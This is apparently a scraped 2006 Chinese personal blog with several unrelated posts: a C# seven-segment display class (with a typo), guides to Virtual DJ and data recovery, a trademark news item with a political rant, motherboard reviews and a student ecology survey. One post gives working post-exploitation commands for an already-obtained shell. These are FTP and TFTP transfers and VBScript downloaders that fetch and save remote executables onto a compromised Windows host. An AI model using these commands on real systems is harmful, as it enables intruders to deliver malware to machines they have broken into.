          new Point(11, 62), new Point(31, 62),
          new Point(39, 70), new Point( 3, 70)
         };
  }

  public SizeF MeasureString(string str, Font font)
  {
   SizeF sizef = new SizeF(0, grfx.DpiX * font.SizeInPoints / 72);

   for (int i = 0; i < str.Length; i++)
   {
    if (Char.IsDigit(str[i]))
    {
     sizef.Width += 42 * grfx.DpiX * font.SizeInPoints / 72 / 72;
    }
    ele if (str[i] == '-')
    {
     sizef.Width += 42 * grfx.DpiX * font.SizeInPoints / 72 / 72;
    }
    else if (str[i] == ':')
    {
     sizef.Width += 20 * grfx.DpiX * font.SizeInPoints / 72 / 72;
    }
    else if (str[i] == ' ')
    {
     sizef.Width += 36 * grfx.DpiX * font.SizeInPoints / 72 / 72;
    }
   }
   return sizef;
  }

  public void DrawString(string str, Font font, Brush brush, float x, float y)
  {
   this._brush = brush;
   this._shadowBrush = new SolidBrush(Color.FromArgb(40, ((SolidBrush)this._brush).Color));

   for (int i = 0; i < str.Length; i++)
   {
    if (Char.IsDigit(str[i]))
    {
     x = Number(str[i] - '0', font, brush, x, y);
    }
    else if (str[i] == '-')
    {
     x = MinusSign(font, brush, x, y);
    }
    else if (str[i] == ':')
    {
     x = Colon(font, brush, x, y);
    }
    else if (str[i] == ' ')
    {
     x = DrawSpace(font, brush, x, y);
    }
   }
  }

  private float Number(int num, Font font, Brush brush, float x, float y)
  {
   for (int i = 0; i < apt.Length; i++)
   {
    if(_isDrawShadow)
    {
     Fill(apt[i], font, _shadowBrush, x, y);
    }
    if (bySegment[num, i] == 1)
    {
     Fill(apt[i], font, brush, x, y);
    }
   }
   return x + 42 * grfx.DpiX * font.SizeInPoints / 72 / 72;
  }

  private float MinusSign(Font font, Brush brush, float x, float y)
  {
   Fill(apt[3], font, brush, x, y);
   return x + 42 * grfx.DpiX * font.SizeInPoints / 72 / 72;
  }

  private float DrawSpace(Font font, Brush brush, float x, float y)
  {
   return x + 36 * grfx.DpiX * font.SizeInPoints / 72 / 72;
  }

  private float Colon(Font font, Brush brush, float x, float y)
  {
   Point[][] apt = new Point[2][];

   apt[0] = new Point[] {
          new Point( 4, 12), new Point( 16, 12),
          new Point(16, 24), new Point( 4, 24)
         };

   apt[1] = new Point[] {
          new Point( 4, 50), new Point( 16, 50),
          new Point(16, 62), new Point( 4, 62)
         };

   for (int i = 0; i < apt.Length; i++)
   {
    Fill(apt[i], font, brush, x, y);
   }

   return x + 20 * grfx.DpiX * font.SizeInPoints / 72 / 72;
  }

  private void Fill(Point[] apt, Font font, Brush brush, float x, float y)
  {
   PointF[] aptf = new PointF[apt.Length];

   for (int i = 0; i < apt.Length; i++)
   {
    aptf[i].X = x + apt[i].X * grfx.DpiX * font.SizeInPoints / 72 / 72;
    aptf[i].Y = y + apt[i].Y * grfx.DpiY * font.SizeInPoints / 72 / 72;
   }

   grfx.FillPolygon(brush, aptf);
  }
 }
}

- 作者: 米琪米 2006年03月28日, 星期二 07:29  回复(1) |  引用(1) 加入博采

今天我也做回疯狂DJ 混出自己的精彩

说到DJ,大家一定会想到那个在DJ台上挥汗如雨,制造者各种极具震憾力的音乐的人,是不是也想上去过把瘾呢?但一般人很难有机会接触那些昂贵的器材。笔者在这儿向大家推荐Atomix Virtual DJ,有了它我们不用购买任何器材和唱碟,只要利用MP3音乐,就可以用电脑演奏出几近专业的混音效果。

初窥VirtualDJ
由于VirtualDJ的主界面功能按钮繁多,笔者为了便于向大家做介绍,将主界面分为五个区即:“Active Waveform(活动波形区)” 、“Left Desk(左唱盘区)”、“Mix Table(混音面板)”、“Right Desk(右唱盘区)” 及“Main Window(主窗口)”(如图1)。下面让我们先了解下这几个区域的主要功能吧。


今天我也做回疯狂DJ 混出自己的精彩
图1

“Active Waveform”窗口以波浪纹来显示播放歌曲的节奏;“Left Desk(左唱盘)” 和“Right Desk(右唱盘)”顾名思义是用来放入音乐的,把音乐文件拖放到相应唱盘上再点击“Play(播放)”按钮即可开始播放。“Mix Table”(混音面盘)提供了各种混音效果;“Main Window”则会根据你的选择,显示你的现有曲目或者各种音乐效果等信息。

制作混音效果
仅仅播放并不能体现VirtualDJ的神奇,添加歌曲后,我们就可以放开手脚做一些效果了。点击唱盘下方"Beatlock(锁拍)"按钮,它将激活VirtualDJ的Beatlock功能。接着分别可以按下左右两端唱盘下方的"PLAY"按钮,现在两首曲子将同时演奏,VirtualDJ将使它们保持同步播放。要想完成两首歌曲互串的效果,可以平滑地拖动位于“混音面盘”下方的“Crossfader(交叉音控器)”滑块,块向左移动时音乐会逐渐的从右边淡出,缓缓地进入左边。反之亦然,相当的有趣。

是不是还少了点什么呢?对,真正的DJ应该还有“擦盘”的操作,“擦盘”就是指DJ用手按住唱盘来回移动造成一种特别的噪音。咱也不能含糊,赶快把鼠标放置到唱片上试试看。按下鼠标音乐会暂停,来回摩擦唱片就会发出仿真的“擦盘”声效,怎么样,够炫吧!掌握了以上的技法后,你已经向DJ更进一步了。

添加其他效果
VirtualDJ能让我们添加更多的效果来个性化你的音,在“Mix Table(混音面盘)”区域有四个按钮,分别提供了不同的效果,比如单击第二个按钮,下方就会显示出Loop特效设置区,这里我们可以选择多种Loop添加到音乐中,利用这一功能可为音乐增加声音、弦乐、颤音、噪音等特殊音效。单击第三个按钮,就会切换到特殊效果的调节界面,我们在这儿就可以利用“chan1”和“chan2” 这两个区下的三个按钮对左右两边的音乐进行“Beat grid 、Vocals+、TK Filter V2”等特效的调节(如图2)。至于每个特效代表了什么效果,还是留给大家自己去探索吧!

今天我也做回疯狂DJ 混出自己的精彩
图2

VirtualDJ笔者就大致介绍到这里,混音虽然好玩,但要想混好,还真不容易。有兴趣的朋友可以多多练习,多掌握一些混音知识与规则,混出一首极具个性的音乐可是一件非常有成就感的事哦!现在就让音乐响起来,让我们动起来吧!

- 作者: 米琪米 2006年03月28日, 星期二 07:07  回复(1) |  引用(1) 加入博采

文件上传八大法—远程控制者必看
 本文是居于已经得到了一个有一定权限的SHELL.命令行下传送文件的其他方法. 
    一,TFTP 
    格式:tftp-igetfile.exepath/file.exe默认存放在system32下,如果指定就存在指定的地方。 
    二:ftp下载文件 
ftp下载文件一般步骤如下: 
echoopenxxx.xxx.xxx.xxx〉ftp.txt 
echouser〉〉ftp.txt 
echopassword〉〉ftp.txt 
echobinary〉〉ftp.txt[可选] 
echogetsrv.exe〉〉ftp.txt 
echobye〉〉ftp.txt 
ftp-s:ftp.txt(这一步是关键哟) 
delftp.txt 
这样srv.exe文件拖略谙吕戳恕1Vrv.exe已经存在指定位置。 
    四:写程序下载 
    脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序实例的简化: 
echoSetxPost=CreateObject("Microsoft.XMLHTTP")〉webdown.vbs 
echoxPost.Open"GET","http://txhak.126.com/srv.exe",0〉〉webdown.vbs 
echoxPost.Send()〉〉webdown.vbs 
echoSetsGet=CreateObject("ADODB.Stream")〉〉webdown.vbs 
echosGet.Mode=3〉〉webdown.vbs 
echosGet.Type=1〉〉webdown.vbs 
echosGet.Open()〉〉webdown.vbs 
echosGet.Write(xPost.responseBody)〉〉webdown.vbs 
echosGet.SaveToFile"srv.exe",2〉〉webdown.vbs 
    然后执行cscriptwebdown.vbs就可以啦。其中,http://txhak.126.com/srv.exe改成你放文件的网站路径,srv.exe可以改成保存文件的路径。这里ADODB.Stream很重要如果目标机隔离了adodb.stream就会不成功。 
    五:STARTITS:HTTP://IP/文件名 
然后cd"C:\DocumentsandSettings\DefaultUser\LocalSettings\TemporaryInternetFiles\Content.IE5\" 
然后DIR文件名[1] 
注意:那串长文件名要用""引起来,因为有空格 
例子:C:\DocumentsandSettings\Administrator〉startits:http://xxx.xxx.xxx.xxx/srv. 
C:\DocumentsandSettings\Administrator\LocalSettings\TemporaryInternetFiles\Content.IE5\0AB3MNO1的目录 
2003-11-2217:4812,832srv[1].exe 
1个文件12,832字节 
列出所有文件: 
1个文件12,832字节 
0个目录6,425,985,024可用字节 
C:\DocumentsandSettings\Administrator〉copyC:\DocumentsandSettings\Administrator\LocalSettings\TemporaryInternetFiles\Content.IE5\0AB3MNO1\srv[1].exec:\srv.exe 
已复制1个文件 
    六。一句话下载。第4种方法的精简,有时很有用的 
echoSetxPost=CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open^"GET^",^"http://soft.163vv.com/77169/c.exe^",0:xPost.Send():SetsGet=CreateObject(^"ADODB.Stream^"):sGet.Mode=3:sGet.Type=1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile^"c:\c.exe^",2〉pig.vbs 
    七。写程序下载 
echoiLocal=LCase(WScript.Arguments(1))〉c:\down.vbs 
echoiRemote=LCase(WScript.Arguments(0))〉〉c:\down.vbs 
echoSetxPost=CreateObject("Microsoft.XMLHTTP")〉〉c:\down.vbs 
echoxPost.Open"GET",iRemote,0〉〉c:\down.vbs 
echoxPost.Send()〉〉c:\down.vbs 
echoSetsGet=CreateObject("ADODB.Stream")〉〉c:\down.vbs 
echosGet.Mode=3〉〉c:\down.vbs 
echosGet.Type=1〉〉c:\down.vbs 


echosGet.Open()〉〉c:\down.vbs 
echosGet.Write(xPost.responseBody)〉〉c:\down.vbs 
echosGet.SaveToFileiLocal,2〉〉c:\down.vbs 
    八.exe2bat命令行下输入,debug还原成文件 
用exe2bat这个工具把exe文件转化成bat,然后一行行敲进去,这样工作量非常大,只适合于非常短小的文件

- 作者: 米琪米 2006年03月24日, 星期五 15:07  回复(1) |  引用(1) 加入博采

数据丢失了不用怕 轻松恢复请跟我来

从回收站中找回
回收站其实是硬盘上的一块磁盘空间,每个磁盘分区都有这样一个专门的区域,它一般位于当前磁盘的根目录下的“Recycled”文件夹中。在资源管理器中“工具/文件夹选项/查看”中选择“显示所有文件和文件夹”并去掉“隐藏受到保护的操作系统文件”前的钩,就可以看到一个名为“Recycled”的“回收站”文件夹。将文件放入回收站是种“可恢复的删除”,因为数据仅仅是被转移到了这个文件夹而已,想要找回数据非常轻松:打开回收站,找到目标文件并右击之,选择弹出的快捷菜单中的“还原”项命令,系统会自动将该文件存放到其删除前的位置。
提示:我们可以在属性中设定分区中回收站的最大空间(如图1)。


数据丢失了不用怕 轻松恢复请跟我来
图1


“鬼门关”前找回数据
如果重要数据被“Shift+Delete”或是清除了回收站,想要找回就没那么容易了,不过只要方法得当,找回数据还是很有希望的。正如上期所说,所谓删除操作只是将文件的“记录表格”删除而已,只要文件的真身还安然无恙地保存在磁盘中,就为我们找回数据提供了可能。要想在“鬼门关”前找回数据,首先要做的事情就是停止对被删除文件所在分区进行任何写入操作,因为该文件所在的扇区已经被Windows表示为“空闲空间”了,如果我们继续给该分区中写入新的文件,被删除文件所在的磁盘扇区可能就会被使用,覆盖上了新的文件,这会导致数据完全无法恢复。
对于“Shift+Delete”后的数据,我们需要借助数据恢复软件来进行“数据恢复”,例如DataRecovery、FinalData等。在此我们以汉化版的FinalData为例来介绍具体的恢复过程。

第一步:打开FinalData后,单击菜单“文件/打开”,选择数据丢失的分区,单击“确定”按钮后,进入扫描阶段,稍后会提示你设置簇范围,按照其默认设置即可,接着单击“确定”按钮,系统便开始检索所有该分区中被删除的文件信息(如图2)。

数据丢失了不用怕 轻松恢复请跟我来
图2

第二步:待检测完毕后,FinalData将会罗列出所有被删除的文件,找到并选择你想要恢复的文件并右键点击并选择“恢复”项命令即可打开保存位置窗口,在此选择保存位置,单击“保存”按钮即可成功恢复该文件了(如图3)。

数据丢失了不用怕 轻松恢复请跟我来
图3

提示:如果你想恢复所有文件,只要按下“Ctrl+A”或是直接用鼠标拖选待恢复的多个文件,然后再右键点击选择“恢复”实现批量恢复操作。另外,安装数据恢复软件时,不要将其安装到丢失文件的分区中,防止其覆盖掉需要恢复的数据。

上面我们是以硬盘数据恢复为例,如果你想恢复优盘、数码相机等设备中的文件,只要将这些设备连接到电脑,然后再运行FinalData并按照上述方法进行恢复即可。

写在最后:数据是计算机的灵魂,特别是一些重要的数据,俗话说:硬盘有价,数据无价。在我们日常工作中,应该养成为重要数据做备份的习惯,而且最好将这些数据备份到服务器或者网络空间等不易丢失的地方。另外需要说明的是,删除操作要小心,不要把全部希望寄托在数据恢复上,因为它并不是一个十分保险的办法,常常会有无法恢复(数据已经被覆盖)或者恢复损坏等情况发生。

- 作者: 米琪米 2006年03月24日, 星期五 15:04  回复(1) |  引用(1) 加入博采

日本游戏商抢注四大名著 温州企业有意见

三个月的商标异议期进入倒计时,国家商标局至今仍没收到任何人对日本公司抢注中国四大名著游戏商标提出的异议申请书,专家称——

  -一个爱国的学生 莫伟琪

  中国四大名著是近年国內外动漫游戏业最热衷于开发的题材。



近日了解到,若无人异议,日本公司抢注的中国四大名著游戏商标将在本月28日后陆续获得商标局的核准注册。但是直到昨日国家商标局仍未收到任何人对日本公司抢注的中国四大名著游戏商标提出的异议申请书。

  “随着国务院《信息网络传播权保护条例》在年內出台,国内游戏公司关于《西游记》、《水浒传》、《三国志》衍生的网络游戏将面临被诉侵权全面封杀的危险,中国动漫游戏业正面临一场大灾难。”中国知识产权研究会资深会员、北京红徽国际知识产权事务所董事长廖俊铭接受我的采访时表示了他的担忧。

  至今仍无人提出异议申请

  自2月8日向国内新闻媒体披露日本公司抢注中国四大名著游戏商标事件后,时至近日国家商标局仍未收到任何人对日本公司抢注的中国四大名著游戏商标提出的异议申请书。

  “你想想看哪个中国人谁会自己去申请四大名著?老外正好插上一杠子。”中国知识产权研究会秘书长赵春山对我作出如此表示。

  “平民百姓对日本公司抢注的中国四大名著游戏商标之事没有提出异议申请情有可谅,但国内动漫产业界对此事件无动于衷则是太令国人痛心和汗颜了。”廖说。

  我了解到,国内动漫产业界大多对自己的公司商号进行了商标注册,注册一个商标只需约2000元左右,对一个经过初审公告的商标提出异议申请也只不过三五千元的费用。对我来说天啊5000元钱啊无奈啦只好求9啦。

  有业内人士分析,国内动漫产业界企业对日本公司抢注的中国四大名著游戏商标至今没有提出异议申请,原因可能有两点:第一,国内动漫产业界对日本公司抢注中国四大名著游戏商标后所潜在的严重后果缺乏必要的、专业的估计;第二,国内动漫企业缺乏凝聚力和民族精神,互相持观望态度,自己不想当出头鸟,希望由别人来提出异议。而这两点,恰恰跟日本公司下狠招杀入中国动漫市场的做法呈鲜明对比,令国人愧疚。日本不法商人真是狠啊偶们不团结果人家就来踢馆来了,真是希望陈真大哥你不要爬出来啊不然见了我们这些人也会不得安息的啊。

  国际保护知识产权协会中国分会秘书长陆普舜接受我采访时表示,这也可能是因为很多人并没有注意到这个问题,不知道这个事件。

  北京市律师协会反不正当竞争委员会副主任吴维丁在对我也表示了同样的看法,她认为,我国大部分企业的知识产权保护意识仍不够,而且我国现在的网游企业大都处于起步发展阶段,可能还没有保护知识产权方面的意识。

  温州企业称提出异议但仍未生效

  在中国的文学瑰宝即将成为国外游戏商的盈利工具之际,据称已有一家温州企业站出来说“不”。3月6日,温州一家公司有关负责人对媒体称,他们已委托相关商标事务所向国家商标局提出异议,反对日本游戏商将“水浒传”进行注册。

  时过近千年的四大古典名著的原著版权已不复存在(我虽然不喜欢宋江但我也是个中国人啊,要是下次玩游戏见到的武侠都是人家的版权的话,108条好汉不知道会不会爬出来说跟日本不法商贩要版权费呢),但近世纪来我国有关出版社接连不断编印出版的四大名著却享有相关版权。在依据《商标法》第十条“下列标志不得作为商标使用”的第(八)款“有害于社会主义道德或者有其它不良影响的”的规定为由提出异议时,关键要就“其它不良影响”提供充分的理由和佐证材料。

  “越多的各行业单位提出异议或争议申请就越好,而且还要对所有外国企业抢注的、与四大名著有关的“擦边球”商标都要提出异议或争议,请求商标局撤销其申请和商标评审委员会撤销其注册,以断后患。”廖说。

  一位商标代理业内人士指出,如果这家温州企业真的向国家商标局提出异议,按规定,需要提交异议理由书等资料,并经过一系列程序,此外异议费还要到位,国家商标局才会正式依法受理,另还需邮寄时间,这样最快都得一个星期左右。而现在,时间已进入倒计时状态。

  日企如果注册成功将引发很多纠纷

 吴在接受采访时表示,这个事件所涉争议可能并非一个特例,随着作品交流的日益发展,将进入公共领域的作品中的名称作为商标进行注册的情况可能越来越多,如果此后使用原作品的行为被认为构成侵犯商标权,那么商标注册人即可通过注册商标行为来垄断原作品的使用,这将阻碍原作品的传播,更违背了进入公有领域的作品人人平等地可以自由使用的立法本意。

  “日本公司成功抢注中国四大名著游戏商标的严重后果将是多方面的和不堪设想的。”廖认为。

  “为什么商标局没有采取措施呢?”陆普舜对此表示担忧。“如果日本公司抢注成功,以后我们国家任何单位想把四大名著改变成动画片、漫画、游戏等等都会有很大的麻烦,受到的影响是相当大的。”

  吴说,日本公司如果注册成功,将来可能会引发很多纠纷,即日本公司的商标权和进入公有领域的作品权利的冲突,但并不意味着我们对四大名著的改编、出版、摄制等任何使用都构成侵权。TRIPS协议中也规定了对商标专用权进行限制的条款。TRIPS第17条规定,各成员可对商标所授予的权利规定有限的例外,如合理使用描述性词语,只要此类例外考虑到商标所有权人和第三方的合法权益。

  廖向记者讲了他的几点担忧,一是国内动漫界以《西游记》、《水浒传》、《三国志》衍生的网络游戏面临被诉侵权全面封杀的毁灭性厄运。一旦日本公司成功抢注中国四大名著游戏商标后,毫无疑问会在适当时候扬起WTO规则“大棒”,横扫国内动漫界所有有关《西游记》、《水浒传》、《三国志》衍生的网络游戏予以“清场”。之前个别中国四大名著游戏商标已被日本公司抢注成功,而相关日本公司仍按兵不动,显然是只待国务院《信息网络传播权保护条例》出台实施后发起总攻势对国内动漫界“一窝端”。国内游戏玩家以青少年为绝对主体,人数近亿,局限于青少年阅历的狭窄,如果国外公司把一些名著压根没有,或者相反的内容放进游戏传播,由于拥有合法的商标,对青少年教育的不良影响及其严重后果不言而喻。(国骂→真他吗的黑啊伸手不见五指啊)

  “这种状况令人极其担忧,在迫不得已的情况下,我将会在20号左右,向这些被外国企业抢注的中国名著游戏商标及时提出异议和争议申请,但愿日后不再是‘孤身作战’。”廖俊铭无可奈何地对我说。

但是最后我想告诉少数不法日本商贩你们别想占我们的便宜啦,为什么这样说呢,呵呵不妨告诉你们呵呵,因为中国是社会主义国家,那社会主义国家会怎么样呢,那就是文件大过法律谢谢!!什么意思呵呵你要问我就是问对了我是军队院校的人,告诉你们这些不希望和平的不法商贩吧“不管国家有多少东西给别人占了但你要是想用法律解决问题是不可能的啊,因为中央文件比法律更强,只要上面下个文件不管下面怎么样干也要执行,呵呵怕了吧。什么什么你说什么啊?那法律有什么用啊?呵呵那是给外界一种文章,你就算是得到了法律的许可,但中央下个文件下来,你看看你还能不能混了,呵呵~!我们也不是很霸道吧谢谢。(废话不霸道那叫文件啊)就拿我们广西来说吧,上面给的文件一般到市里就是广西政治局说了算的,呵呵那叫自制区啊,你们也不想想为什么广东能发展起来,呵呵不用说大家也知道是广东给的文件批准的。不然怎么多好的港口不发展而去发展哪个不毛这地。不就是文件说了给的范围是深圳嘛。废话就不多说了我希望日本不法商贩知道我们的规则。

  跟我们玩阴的你们也不想想哈。你以为我们是资本主义啊什么都讲哪个议会,我们是什么都讲文件,文件是发的,呵呵告诉你吧是国务院,国务院是谁看的场啊,呵呵是常任委员,常任委员是谁当的啊,是各级地方代表谢谢,你以为那这样很好啊是不是啊怎么多人干一件事一定会说理的,但你想想最后是谁签字批阅的是杂们涛哥,涛哥不给你发你能发吗小子。

   什么叫社会主义啊就是社会大家一起给意见最后是涛哥说了算谢谢。

                                                                        本文纯粹是一个爱国的大学生说的话,当然不能代表什么,因为我也怕我的队长。希望大家不要乱说社会主义什么什么的,因为达尔文说过人就是适应环境而不是环境适应人,在社会主义的规则下好好地去干活有前途的谢谢。

                                                 其实我也希望日本友人们好好面对自己的历史,毕竟我们有着上千年的友谊,为什么要为了那几十年的不高兴去计较什么呢。好好做事好好做人我们会有一天接受日本这个民族的,但绝不会是现在,好了最后说声客气些话吧祝愿我们中日两国世代友好,但你信吗?那就见仁见智吧毕竟我们以前还有过上千年的友谊。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

  

- 作者: 米琪米 2006年03月18日, 星期六 20:10  回复(0) |  引用(1) 加入博采

很好看的哦我听别人说的
[2月24日][韩国MBC2006年开年力作<宫>-我的野蛮王妃1-18集下载][内附精美剧照]持续更新中








【片名】:宮
【出品】:韩国MBC电视台(接档《英才的全盛时代》)
【上映】:2006年01月11日首播(韩国每周三、四播放)
【导演】:黃仁磊
【编剧】:任恩雅
【原著】:朴素熙(韩名“宫”,中名“我的野蛮王妃”)
【主演】:尹恩惠 朱智勳 金正勳 宋知孝
【类型】:漫画改编/励志喜剧
【备注】:YYCAF强档制作并强烈推荐





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- 作者: 米琪米 2006年03月15日, 星期三 00:15  回复(0) |  引用(1) 加入博采

昂达N61G全整合主板只要499元
性价比是多数配置兼容机玩家所追求的,而NVIDIA在下半年推出了Geforce6100系列芯片组凭借强悍的内置显卡成为AMD平台中的一大亮点。虽说接近年末各厂家手上主板芯片持有量并不是很多,但就目前市场看暂时未出现缺货的迹象。近期我们又收到代理商消息昂达采用Geforce6100芯片组的主板N61G已经上货,目前定价为499元比起先前上市部分厂商的C51主板要便宜许多。

 

 

    昂达N61G主板选用蓝色PCB小板型设计,采用改进后的nVIDIA Geforce6100+NF410芯片组解决了数据溢出的BUG。主板可支持800MHz前端总线与Socket 754接口的Athlon64与Sempron处理器。主板的北桥芯片集成了GeForce 6200TC等级绘图核心硬件支持Microsoft DierctX 9.0C Shader Model 3.0,其核心频率高达425MHZ可最大共享128MB系统内存做显存使用。并且可通过主板配备了PCI-E 16X插槽升级电脑的显示系统。内存控制方面,主板配置了两条内存插槽最大可支持DDR400 2GB内存。

    主板供电部分采用目前流行的三相供电设计并辅以高品质的富士通黄壳电容,确保了主板能长时间稳定运行。nForce410南桥芯片为主板提供了两个SATA-II型接口与两组ATA100 IDE接口并可支持NV RAID功能。

    主板外部I/O接口方面除了目前流行的接口配置还配备了同轴音频端口,此外这主板提供了5.1声道的音频输出与百兆网络连接,能满足一般消费者日常使用。

    有一说一:目前通路品牌中采用Geforce6100芯片的主板并不是很多,昂达N61G主板在做工与用料上都相当到位并配置了高品质的富士通电容将最大程度保证主板的稳定与超频,目前499元的售价比起先前上市的一些C51主板要便宜不少,值得关注。什么叫强悍的主板我来给大家讲讲吧这个主板玩魔兽世界就流畅,呵呵呵呵大家快写动手吧呵呵~!

- 作者: 米琪米 2006年03月14日, 星期二 17:33  回复(0) |  引用(1) 加入博采

不用多说能玩魔兽世界的集成主板昂达N61G

昂达N61G

昂达N61G固态电容版主板,受到了不少入门级DIY用户的关注。今天市场又传来消息,升级了全新BIOS的新一批昂达N61G也已经到货柜台了。而最新的报价是499元!成为市场上最具性价比的C51主板!

  据悉,新版主板采用了新的BIOS,针对超频、内存和游戏表现力进行了改进。使这款颇受关注的闪龙全整合主板更加超值了。这对于一款整合主板来说是非常难得的,要知道在不改变硬件配置的情况下,完成对显卡频率的再次提升,工程师要经过大量而细致的工作对产品进行调试这次的频率更是提升了75MHz,对于独立显卡来说都相当不易了。并且老用户也可以通过升级主板BIOS来尝试这一新变化。(新版本BIOS下载地址ftp://ftp.onda.cn/download/bios/n61g/n61g.rar

  昂达N61G采用的是nVIDIA NF6100+NF410芯片组,支持AMD Scoket754 64位速龙和32位/64位闪龙处理器。GF6100芯片(C51G芯片)整合了NV44图形芯片,新版本的核心频率已经升级了550MHz,能够共享128MB系统内存资源,硬件支持DX9.0技术,Pixel Shader 3.0像素渲染特效,在图形效果处理方面是相当不错的,对于一般的家庭应用没必要去购买显卡了,而日后的升级工作则交给了PCI-E x16接口。在其他方面,这款主板依旧强悍,支持最新的SATA2接口,10/100M网卡以及6声道音频输出。

产品家当一览,附件不是很丰富

采用了ATX小板设计的N61G布局相当紧凑

  整合主板常用于小机箱内,必须直面发热量问题,并且由于它的PCB面积通常较小,大量的元器件插接的非常密集,特别容易堆积热量,再加上机箱内的数据线杂乱的盘结在一起,热量更是难以散发,这些都是系统安全的隐患。应对这一问题,该主板采用了富士通的固态聚合物电容,据搜索到的资料显示,该电容在105度下的元件寿命可达40000小时,发热量比普通液态电容低50%。另外该主板还使用了德国Infineon出品的MOSFET,这种场效应管的阻抗值只有7-9毫欧,大大降低了系统热量。

 

  该主板具有2条2.5v 184-pin DDR DIMM 内存插槽;1个PCI Express x16 插槽 (支持符合 PCI Express v1.0a之设备);1个PCI Express x1 插槽 (支持符合 PCI Express v1.0a之设备);2个PCI 2.3规范32位插槽 (支持符合3.3v/5v PCI介面之设备) 。插槽数量虽然不多,但是对于寸土寸金的小板来说,插槽种类远比数量来的重要。

  主板的存储设备单元接口也比较齐全,而在超频的时候,芯片组内部集成的SATA Host 控制器频率通常会受外部时钟频率的变化而升降,这对于SATA设备的稳定性将构成隐患。工程师在经过综合分析之后,在芯片组附近设计了一块晶震发生器(见图黄色跳线旁的椭圆形元件),它能发出25MHz的稳定运行频率并不断校正SATA Host锁定在标准频率下,这样SATA设备就会始终稳定工作啦!

 

  Realtek ALC655 5.1声道音效芯片,符合AC97 2.3规范;Realtek RTL8110SB网络芯片,提供100M以太网接入功能。

  主板外部I/O接口一览,4个USB2.0独立接口,提供百兆网卡和6声道音频输出,除此以外还特别提供了一组支持输入+输出的高保真同轴数字音频接口。

    有一说一:借助全新的BIOS,新版昂达N61G的板载显卡达到了550MHz的惊人频率。而6系列显卡核心的设计相当经典,效能也相当高,提升频率对其性能有比较明显的帮助。不过板载显卡与系统性能最大的冲突在内存的调控上,想增强产品性能的话,添加内存是最直接的改进方法了。目前该主板售价仅为499元,与捷波的同类产品价格相同!性价比相当高,推荐新配电脑的朋友选购

- 作者: 米琪米 2006年03月14日, 星期二 17:23  回复(3) |  引用(1) 加入博采

你要记得我

http://moweiqi2.bokee.com/inc/%C4%E3%D2%AA%BC%C7%B5%C3%CE%D2.mp3

你永远要记得我以前我就是像这样对你说但失去了的你不知道为什么我总是回忆呢.难道真的是回忆闯的祸.梦太少现实太多,回忆闯的祸.我希望你能记得我.一个不算是军人的军人自白.

- 作者: 米琪米 2006年03月13日, 星期一 06:50  回复(1) |  引用(1) 加入博采

关于城市生态环境的调查报告

                                     关于城市生态环境的调查报告

                                             莫伟琪

 

    人与环境有着密不可分的关系。无论过去、现在还是未来,人类总是在不断地改造环境,创造不仅使用,而且美观的环境空间。城市所意味的,不仅仅是建筑、街道、商店等人工建构物的堆积,而蕴涵着在诸多功能性设施及硬质景观相伴下的社会文化、经济、政治和城市居民多姿多彩的生活。从外在的视觉影像来看,城市是由其平面结构、天际轮廓、各色建筑、街市设施、区域地标、开放的空间、植栽园林及穿梭不定的交通工具所构成,然而这些都是城市人在选择和被选择的行为方式下形成的物质形态,其间蕴涵着深厚的自然法则、社会心理、人文情感及历史沧桑。

就城市生态环境我们做了调查———杭州及周边地区(萧山、余杭)做了调查

经济管理学院学生干部暑期社会实践一行主要是将城市(杭州、萧山、余杭)作为生态调查的重要组成部分


    1、我们深入“东明山森林公园”进行调查,与杭州西湖风景区进行比较。就不难发现必要的补充性的生态调查也会引起注意,但对于城市这样特殊的、又很脆弱的人工生态调查,易于忽视、易于粗浅。城市的建筑物、构筑物是城市人工生态中的主要组成部分,也是生态脆弱的环节,它们之间、它们与大自然之间并没有经过久经考验的磨合,会不时地发生这样那样的不和谐的现象,以至发生灾害。要促进人和自然的协调与和谐,使人们在优美的生态环境中工作和生活。

我认为要正确处理经济发展同资环境的关系,改善生态环境和美化生活环境。做到与环境的协调发展。

应积极推进将城市资源资料与自然资源和其他单项资源资料相结合、相衔接,并作一些必要的专门生态调查,如城市与自然资源条件的吻合与分离影响的定性、定量的调查分析;建立城市人工生态调查、研究中心。


   2、进入余杭良渚镇、萧山进行城镇调查,与杭州整体发展进行。良渚镇是因为文物保护没什么整体规划,杭州的整体规划实现在局部,而萧山有这明显的经济区等等

进一步从发展趋势考虑,应在重视“面”(区域)的基础上,突出“点”(城镇)的生态环境建设。这个点(城镇)的概念主要是指人口集聚的“建成区”及“规划区”,这是环境保护的重点。在努力建设好一批生态示范区的基础上,抓好一批以城市建成区和规划区为重点的生态建设示范城市,着力改善城镇人居环境,其任务同样紧迫,作用更加显著,影响更为深远。城市化———城市发展———城市环境保护———城市生态环境建设,是密不可分的“发展链”。

 

3、杭州与周边地区的人口密度是大一样,生活在杭州好象都是高楼大厦,而在周边地方好象挺空地的。在东明山森林公园和西湖风景区的游客数量是没法

比较的。环境那里也不错么为什么那么少呢。我想这就是一个人口密度的问提啊,

 

要提高资源的合理利用就要处理好与人口的关系。

要促进人和自然的协调与和谐,使人们在优美的生态环境中工作和生活。正确处理经济 

发展同人口、资源、环境的关系,改善生态环境和美化生活环境,改善公共设施和社会福利设施。努力开创生产发展、生活富裕和生态良好的文明发展道路

 

     4、杭州西湖区主要发展自己旅游,良渚镇主要发展自己了历史文化,萧山主要以现代经济发展区为主。

在整个城市化的过程中,都必须高度重视城市发展的质量、特色,改善生态环境,美化生活环境

 

5、人们的消费对城市生态环境也有很大的影响。比如汽车的大量使用对空气有这很大的影响,空调冰箱的大量使用,生活垃圾的大量产生等等

人类自身的种种活动,城市的质量、安全会呈现不稳定的状态。而且,我国城市化进程正在加速期,今后平均每年将有1000多万农业人口转化为城市(城镇)人口,进入千个、万个的城市(城镇)中,这不能不令人有沉重的紧迫感。应积极推进将城市资源资料与自然资源和其他单项资源资料相结合、相衔接,并作一些必要的专门生态调查,如城市与自然资源条件的吻合与分离影响的定性、定量的调查分析;建立城市人工生态调查、研究中心

还有水,绿化,文化------可以讨论

